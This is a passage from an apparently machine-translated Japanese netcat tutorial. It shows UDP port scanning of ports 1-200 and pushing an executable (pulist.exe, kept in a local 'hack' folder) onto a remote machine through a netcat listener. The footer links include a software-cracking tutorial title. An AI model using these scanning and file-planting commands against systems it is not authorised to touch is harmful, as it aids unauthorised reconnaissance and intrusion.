//このコマンドには、前のコマンドよりも追加の -u パラメータがあります。このコマンドの機能は引き続きポートをスキャンすることですが、UDP ポートをスキャンするために使用される追加の -u パラメータがあります。

例えば:

nc -v -z -u ip 1-200 //このコマンドはUDPポート1-200をスキャンします

コマンド 4: ファイルを転送する (HOHO、いいね)

ローカルマシン: nc -v -n ip port < x:\svr.exe
リモートマシン: nc -v -l -p port > y:\svr.exe

パラメータの説明:

-n: 数値のIPアドレスを指定する

これら2つのコマンドを組み合わせてファイルを転送します

まず、リモート マシンでコマンドを実行します。

nc -v -l -p 5277 > c:\pulist.exe

このコマンドを覚えていますか?ハハハ、監視コマンドにちょっと似てない? はい、そうです、これはポート5277を監視しています

受信した情報データをc:\pulist.exeに書き込みます。

ローカルマシンで実行します

nc -v -n ip 5277 < e:\hack\pulist.exe

このコマンドは、ローカル E ドライブとディレクトリから pulist.exe ファイルの内容を読み取り、このデータを IP アドレスのポート 5277 に送信することを意味します。

これにより、リモート ホスト上に pulist.exe ファイルが自動的に作成されます。

以上がこの記事の全内容です。皆様の勉強のお役に立てれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Linuxのrsyncコマンドの詳細な説明
  • Linux の nc コマンドの概要
  • Linux で nc コマンドを使用してサーバー ポートを監視する方法

<<:  Windows 8.1 で MySQL5.7 のルート パスワードを忘れた場合の解決方法

>>:  MySQLキーワードDistinctの詳細な紹介

推薦する

Navicat for MySQL 11 登録コード\アクティベーションコードの概要

おすすめの読み物: Navicat12.1シリーズのクラッキングとアクティベーションのチュートリアル...

HTML タグに類似: strong および em、q、cite、blockquote

XHTML には似た機能を持つタグがいくつかあります。もちろん、ここでの類似性とは意味の類似性を指...

Linuxの読み取りコマンドの使用

1. コマンドの紹介read コマンドは、シェルの組み込みコマンドで、標準入力または -u オプショ...

K3s 入門ガイド - Docker で K3s を実行するための詳細なチュートリアル

k3dとは何ですか? k3d は、Docker で K3s クラスターを実行するための小さなプログ...

Mac インストール mysqlclient プロセス分析

仮想環境で pip 経由でインストールしてみてください: pip で mysqlclient をイン...

MYSQL大規模書き込み問題の最適化の詳細な説明

概要: MySQL のパフォーマンス最適化について話すとき、誰もがクエリ パフォーマンスを向上させる...

mysql における mydumper と mysqldump の比較

いくつかのテーブルまたは単一のデータベースのみをバックアップする場合は、innobackup よりも...

Typescriptを使用してローカルストレージをカプセル化する方法

目次序文ローカルストレージの使用シナリオ使用上の問題解決機能性有効期限を追加データ暗号化を追加する命...

要素に丸い境界線を追加する border-radius メソッド

border-radius:10px; /* すべての角は半径 10px で丸められます*/ bor...

クロスドメイン js フロントエンドの 8 つの実装ソリューション

目次1. jsonp クロスドメイン2. document.domain + iframe クロスド...

Tomcatアーキテクチャの原則をアーキテクチャ設計に分析する

目次1. 学習目標1.1. Tomcatアーキテクチャの設計と原則をマスターして社内スキルを向上させ...

WeChatミニプログラムでの仮想リストの実装例

目次序文分析する初期レンダリング方法初期最適化さらなる最適化方法2序文ほとんどのミニプログラムには、...

Centos7.3 Nginx をインストールして展開し、https を設定する方法

設置環境1. gccのインストールnginxをインストールするには、まず公式サイトからダウンロードし...

自動同期テーブル構造のMySql開発

開発の問題点開発プロセスでは、データベース フィールドが頻繁に変更されるため、RD 環境と QA 環...

HTML知識ポイントの実践経験のまとめ

1. 表タグはtable、trは行、tdはセル、cellspacingはセル間の距離、cellpad...